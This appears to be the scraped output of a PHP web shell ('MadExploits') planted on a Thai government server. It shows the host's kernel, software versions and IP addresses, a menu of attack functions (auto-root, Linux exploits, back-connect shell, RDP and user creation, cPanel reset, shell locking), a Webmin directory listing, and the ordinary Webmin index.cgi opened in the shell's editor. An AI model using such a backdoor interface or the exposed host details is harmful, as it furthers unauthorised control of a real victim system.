Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
useradmin /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
5.66
KB
-rw-r--r--
acl_security.pl
13.74
KB
-rwxr-xr-x
aix-lib.pl
1.17
KB
-rwxr-xr-x
backup_config.pl
749
B
-rwxr-xr-x
batch_exec.cgi
17.21
KB
-rwxr-xr-x
batch_form.cgi
2.42
KB
-rwxr-xr-x
cgi_args.pl
477
B
-rwxr-xr-x
config-aix
703
B
-rw-r--r--
config-cobalt-linux
710
B
-rw-r--r--
config-coherent-linux
657
B
-rw-r--r--
config-corel-linux
665
B
-rw-r--r--
config-debian-linux
665
B
-rw-r--r--
config-freebsd
684
B
-rw-r--r--
config-generic-linux
677
B
-rw-r--r--
config-gentoo-linux
637
B
-rw-r--r--
config-hpux
579
B
-rw-r--r--
config-irix
757
B
-rw-r--r--
config-macos
581
B
-rw-r--r--
config-mandrake-linux
662
B
-rw-r--r--
config-msc-linux
657
B
-rw-r--r--
config-netbsd
623
B
-rw-r--r--
config-open-linux
687
B
-rw-r--r--
config-openbsd
636
B
-rw-r--r--
config-openmamba-linux
657
B
-rw-r--r--
config-openserver
841
B
-rw-r--r--
config-osf1
579
B
-rw-r--r--
config-pardus-linux
665
B
-rw-r--r--
config-redhat-linux-15.0-ALL
659
B
-rw-r--r--
config-redhat-linux-ALL-14.9
657
B
-rw-r--r--
config-slackware-linux
663
B
-rw-r--r--
config-sol-linux
657
B
-rw-r--r--
config-solaris
631
B
-rw-r--r--
config-suse-linux
677
B
-rw-r--r--
config-suse-linux-9.0-ALL
715
B
-rw-r--r--
config-trustix-linux
657
B
-rw-r--r--
config-turbo-linux
677
B
-rw-r--r--
config-united-linux
677
B
-rw-r--r--
config-unixware
595
B
-rw-r--r--
config.info
4
KB
-rw-r--r--
config.info.bg
4.85
KB
-rw-r--r--
config.info.bg.UTF-8
7.82
KB
-rw-r--r--
config.info.ca
4.75
KB
-rw-r--r--
config.info.ca.UTF-8
4.77
KB
-rw-r--r--
config.info.cz
3.92
KB
-rw-r--r--
config.info.cz.UTF-8
4.21
KB
-rw-r--r--
config.info.da
3.83
KB
-rw-r--r--
config.info.da.UTF-8
3.83
KB
-rw-r--r--
config.info.de
4.83
KB
-rw-r--r--
config.info.de.UTF-8
4.83
KB
-rw-r--r--
config.info.es
4.64
KB
-rw-r--r--
config.info.es.UTF-8
4.64
KB
-rw-r--r--
config.info.fa
6.05
KB
-rw-r--r--
config.info.fr
5.17
KB
-rw-r--r--
config.info.fr.UTF-8
3
KB
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ja_JP.UTF-8
4.96
KB
-rw-r--r--
config.info.ja_JP.euc
3.75
KB
-rw-r--r--
config.info.nl
4.56
KB
-rw-r--r--
config.info.nl.UTF-8
4.56
KB
-rw-r--r--
config.info.no
4.16
KB
-rw-r--r--
config.info.no.UTF-8
4.16
KB
-rw-r--r--
config.info.pl
2.89
KB
-rw-r--r--
config.info.pl.UTF-8
3.01
KB
-rw-r--r--
config.info.pt_BR
4.26
KB
-rw-r--r--
config.info.pt_BR.UTF-8
4.38
KB
-rw-r--r--
config.info.ru.UTF-8
4.87
KB
-rw-r--r--
config.info.ru_RU
3
KB
-rw-r--r--
config.info.ru_RU.UTF-8
4.87
KB
-rw-r--r--
config.info.ru_SU
3.01
KB
-rw-r--r--
config.info.sv
1.1
KB
-rw-r--r--
config.info.sv.UTF-8
1.14
KB
-rw-r--r--
config.info.tr
3.45
KB
-rw-r--r--
config.info.uk_UA
3.01
KB
-rw-r--r--
config.info.uk_UA.UTF-8
4.79
KB
-rw-r--r--
config.info.zh_CN
820
B
-rw-r--r--
config.info.zh_CN.UTF-8
1.01
KB
-rw-r--r--
config.info.zh_TW.Big5
778
B
-rw-r--r--
config.info.zh_TW.UTF-8
983
B
-rw-r--r--
cpan_modules.pl
256
B
-rwxr-xr-x
defaultacl
358
B
-rw-r--r--
delete_group.cgi
2.18
KB
-rwxr-xr-x
delete_user.cgi
4.7
KB
-rwxr-xr-x
edit_group.cgi
4.97
KB
-rwxr-xr-x
edit_user.cgi
18.3
KB
-rwxr-xr-x
export_exec.cgi
2.84
KB
-rwxr-xr-x
export_form.cgi
1.77
KB
-rwxr-xr-x
freebsd-lib.pl
1.47
KB
-rwxr-xr-x
gbatch_exec.cgi
8.09
KB
-rwxr-xr-x
gbatch_form.cgi
1.59
KB
-rwxr-xr-x
gexport_exec.cgi
1.73
KB
-rwxr-xr-x
gexport_form.cgi
1.26
KB
-rwxr-xr-x
help.html
6.79
KB
-rw-r--r--
hpux-lib.pl
1.02
KB
-rwxr-xr-x
index.cgi
7.38
KB
-rwxr-xr-x
irix-lib.pl
1.09
KB
-rwxr-xr-x
linux-lib.pl
4.6
KB
-rwxr-xr-x
list_logins.cgi
1.55
KB
-rwxr-xr-x
list_who.cgi
945
B
-rwxr-xr-x
log_parser.pl
1.68
KB
-rwxr-xr-x
macos-lib.pl
3.15
KB
-rwxr-xr-x
mass_delete_group.cgi
2.41
KB
-rwxr-xr-x
mass_delete_user.cgi
7.65
KB
-rwxr-xr-x
md5-lib.pl
6.47
KB
-rwxr-xr-x
module.info
544
B
-rw-r--r--
module.info.ar
173
B
-rw-r--r--
module.info.ca
117
B
-rw-r--r--
module.info.ca.UTF-8
129
B
-rw-r--r--
module.info.cz
28
B
-rw-r--r--
module.info.cz.UTF-8
36
B
-rw-r--r--
module.info.da
27
B
-rw-r--r--
module.info.da.UTF-8
33
B
-rw-r--r--
module.info.de
133
B
-rw-r--r--
module.info.de.UTF-8
145
B
-rw-r--r--
module.info.es
26
B
-rw-r--r--
module.info.es.UTF-8
32
B
-rw-r--r--
module.info.fr
32
B
-rw-r--r--
module.info.fr.UTF-8
38
B
-rw-r--r--
module.info.hu
34
B
-rw-r--r--
module.info.hu.UTF-8
43
B
-rw-r--r--
module.info.ja_JP.UTF-8
48
B
-rw-r--r--
module.info.ja_JP.euc
36
B
-rw-r--r--
module.info.ko_KR.UTF-8
38
B
-rw-r--r--
module.info.ko_KR.euc
30
B
-rw-r--r--
module.info.ms_MY
130
B
-rw-r--r--
module.info.ms_MY.UTF-8
142
B
-rw-r--r--
module.info.nl
30
B
-rw-r--r--
module.info.nl.UTF-8
36
B
-rw-r--r--
module.info.no
27
B
-rw-r--r--
module.info.no.UTF-8
33
B
-rw-r--r--
module.info.pl
121
B
-rw-r--r--
module.info.pl.UTF-8
138
B
-rw-r--r--
module.info.pt
30
B
-rw-r--r--
module.info.pt.UTF-8
36
B
-rw-r--r--
module.info.pt_BR
29
B
-rw-r--r--
module.info.pt_BR.UTF-8
36
B
-rw-r--r--
module.info.ru.UTF-8
55
B
-rw-r--r--
module.info.ru_RU
33
B
-rw-r--r--
module.info.ru_RU.UTF-8
58
B
-rw-r--r--
module.info.ru_SU
33
B
-rw-r--r--
module.info.sv
30
B
-rw-r--r--
module.info.sv.UTF-8
37
B
-rw-r--r--
module.info.tr
29
B
-rw-r--r--
module.info.zh_CN
22
B
-rw-r--r--
module.info.zh_TW.Big5
29
B
-rw-r--r--
my_group_chooser.cgi
6.9
KB
-rwxr-xr-x
my_user_chooser.cgi
6.56
KB
-rwxr-xr-x
netbsd-lib.pl
1.47
KB
-rwxr-xr-x
openbsd-lib.pl
1.47
KB
-rwxr-xr-x
openserver-lib.pl
1.18
KB
-rwxr-xr-x
osf1-lib.pl
1.01
KB
-rwxr-xr-x
rbac-mapping
190
B
-rw-r--r--
save_group.cgi
4.86
KB
-rwxr-xr-x
save_user.cgi
19.72
KB
-rwxr-xr-x
search_group.cgi
991
B
-rwxr-xr-x
search_user.cgi
1.33
KB
-rwxr-xr-x
solaris-lib.pl
1.78
KB
-rwxr-xr-x
unixware-lib.pl
1.13
KB
-rwxr-xr-x
user-lib.pl
71.2
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.cgi
#!/usr/bin/perl require './user-lib.pl'; # Show header with password DB type $pft = &passfiles_type(); $pftmsg = &text('index_pft', $text{'index_pft'.$pft} || $pft); &ui_print_header($pftmsg, $text{'index_title'}, "", "intro", 1, 1, 0, &help_search_link("passwd group shadow gshadow", "man")); $formno = 0; &ReadParse(); @quarters = ( "width=25%", "width=25%", "width=25%", "width=25%" ); # Get the user and group lists @allulist = &list_users(); @ulist = &list_allowed_users(\%access, \@allulist); @allglist = &list_groups(); @glist = &list_allowed_groups(\%access, \@allglist); foreach $g (@allglist) { $usedgid{$g->{'gid'}} = $g; } # Start of tabs, based on what can be edited @tabs = ( ); if (@ulist || $access{'ucreate'}) { push(@tabs, [ "users", $text{'index_users'}, "index.cgi?mode=users" ]); $can_users = 1; } if (@glist || $access{'gcreate'}) { push(@tabs, [ "groups", $text{'index_groups'}, "index.cgi?mode=groups" ]); $can_groups = 1; } print &ui_tabs_start(\@tabs, "mode", $in{'mode'} || $tabs[0]->[0], 1); # Start of users tab if ($can_users) { print &ui_tabs_start_tab("mode", "users"); } if (@ulist > $config{'display_max'}) { # Display advanced search form print "<b>$text{'index_toomany'}</b><p>\n"; print &ui_form_start("search_user.cgi"); print &ui_table_start($text{'index_usheader'}, undef, 2); # Field to search print &ui_table_row($text{'index_find'}, &ui_select("field", "userreal", [ [ "userreal", $text{'index_userreal'} ], [ "user", $text{'user'} ], [ "real", $text{'real'} ], [ "shell", $text{'shell'} ], [ "home", $text{'home'} ], [ "uid", $text{'uid'} ], [ "group", $text{'group'} ], [ "gid", $text{'gid'} ] ])." ". &ui_select("match", 4, $match_modes)); # Text print &ui_table_row($text{'index_ftext'}, &ui_textbox("what", undef, 50)); print &ui_table_end(); print &ui_form_end([ [ undef, $text{'find'} ] ]); $formno++; } elsif (@ulist) { # Display a table of all users @ulist = &sort_users(\@ulist, $config{'sort_mode'}); if ($config{'display_mode'} == 2) { # Show usernames under groups foreach $u (@ulist) { push(@{$ug{$u->{'gid'}}}, $u); } @table = ( ); foreach $g (sort { $usedgid{$a}->{'group'} cmp $usedgid{$b}->{'group'} } keys %ug) { @grid = map { &user_link($_) } @{$ug{$g}}; push(@table, [ &html_escape($usedgid{$g}->{'group'}), &ui_grid_table(\@grid, 4, 100, \@quarters) ]); } print &ui_columns_table( [ $text{'index_ugroup'}, $text{'index_users'} ], 100, \@table, ); } elsif ($config{'display_mode'} == 1) { # Show names, real names, home dirs and shells @b = &get_user_buttons(); @left = grep { !/batch_form|export_form/ } @b; @right = grep { /batch_form|export_form/ } @b; &users_table(\@ulist, $formno++, 0, 0, \@left, \@right); $no_user_buttons = 1; } else { # Just show names @grid = map { &user_link($_) } @ulist; print &ui_grid_table(\@grid, 4, 100, \@quarters, undef, $text{'index_users'}); } } elsif ($access{'ucreate'}) { if (@allulist) { print "<b>$text{'index_notusers'}</b>. <p>\n"; } else { print "<b>$text{'index_notusers2'}</b>. <p>\n"; } } &show_user_buttons() if (!$no_user_buttons); # End of users tab if ($can_users) { print &ui_tabs_end_tab("mode", "users"); } # Start of groups tab if ($can_groups) { print &ui_tabs_start_tab("mode", "groups"); } if (@glist > $config{'display_max'}) { # Display group search form print "<b>$text{'index_gtoomany'}</b><p>\n"; print &ui_form_start("search_group.cgi"); print &ui_table_start($text{'index_gsheader'}, undef, 2); # Field to search print &ui_table_row($text{'index_gfind'}, &ui_select("field", "group", [ [ "group", $text{'gedit_group'} ], [ "members", $text{'gedit_members'} ], [ "gedit_gid", $text{'gedit_gid'} ] ])." ". &ui_select("match", 4, $match_modes)); # Text print &ui_table_row($text{'index_ftext'}, &ui_textbox("what", undef, 50)); print &ui_table_end(); print &ui_form_end([ [ undef, $text{'find'} ] ]); $formno++; } elsif (@glist) { @glist = &sort_groups(\@glist, $config{'sort_mode'}); if ($config{'display_mode'} == 1) { # Display group name, ID and members @b = &get_group_buttons(); @left = grep { !/gbatch_form|gexport_form/ } @b; @right = grep { /gbatch_form|gexport_form/ } @b; &groups_table(\@glist, $formno++, 0, \@left, \@right); $no_group_buttons = 1; } else { # Just display group names @grid = map { &group_link($_) } @glist; print &ui_grid_table(\@grid, 4, 100, \@quarters, undef, $text{'index_groups'}); } } elsif ($access{'gcreate'} == 1) { if (@allglist) { print "<b>$text{'index_notgroups'}</b>. <p>\n"; } else { print "<b>$text{'index_notgroups2'}</b>. <p>\n"; } } &show_group_buttons() if (!$no_group_buttons); # End of groups tab if ($can_groups) { print &ui_tabs_end_tab("mode", "groups"); } print &ui_tabs_end(1); # Buttons to show recent logins and logged-in users if ($access{'logins'}) { print &ui_hr(); print &ui_buttons_start(); # Show recent logins print &ui_buttons_row( "list_logins.cgi", $text{'index_logins'}, $text{'index_loginsdesc'}, undef, &ui_radio("username_def", 1, [ [ 1, $text{'index_loginsall'} ], [ 0, $text{'index_loginsuser'}." ". &ui_user_textbox("username", undef, $formno) ] ])); # Show currently logged in user if (defined(&logged_in_users)) { print &ui_buttons_row( "list_who.cgi", $text{'index_who'}, $text{'index_whodesc'}, ); } print &ui_buttons_end(); } &ui_print_footer("/", $text{'index'}); sub get_user_buttons { local @rv; if ($access{'ucreate'}) { local $cancreate; if ($access{'hiuid'} && !$access{'umultiple'}) { foreach $u (@allulist) { $useduid{$u->{'uid'}}++; } for($i=int($access{'lowuid'}); $i<=$access{'hiuid'}; $i++) { if (!$useduid{$i}) { $cancreate = 1; last; } } } else { $cancreate = 1; } if ($cancreate) { push(@rv, &ui_link("edit_user.cgi", $text{'index_createuser'}) ); } else { push(@rv, $text{'index_nomoreusers'}); } } push(@rv, &ui_link("batch_form.cgi", $text{'index_batch'}) ) if ($access{'batch'}); push(@rv, &ui_link("export_form.cgi", $text{'index_export'}) ) if ($access{'export'}); return @rv; } sub show_user_buttons { local @b = &get_user_buttons(); local @left = grep { !/batch_form|export_form/ } @b; local @right = grep { /batch_form|export_form/ } @b; local @grid = ( &ui_links_row(\@left), &ui_links_row(\@right) ); print &ui_grid_table(\@grid, 2, 100, [ "align=left", "align=right" ]); } sub get_group_buttons { local @rv; if ($access{'gcreate'} == 1) { local $cancreate; if ($access{'higid'} && !$access{'gmultiple'}) { for($i=int($access{'lowgid'}); $i<=$access{'higid'}; $i++) { if (!$usedgid{$i}) { $cancreate = 1; last; } } } else { $cancreate = 1; } if ($cancreate) { push(@rv, &ui_link("edit_group.cgi", $text{'index_creategroup'}) ); } else { push(@rv, $text{'index_nomoregroups'}); } } push(@rv, &ui_link("gbatch_form.cgi", $text{'index_batch'}) ) if ($access{'batch'}); push(@rv, &ui_link("gexport_form.cgi", $text{'index_export'}) ) if ($access{'export'}); return @rv; } sub show_group_buttons { local @b = &get_group_buttons(); local @left = grep { !/gbatch_form|gexport_form/ } @b; local @right = grep { /gbatch_form|gexport_form/ } @b; local @grid = ( &ui_links_row(\@left), &ui_links_row(\@right) ); print &ui_grid_table(\@grid, 2, 100, [ "align=left", "align=right" ]); }
Close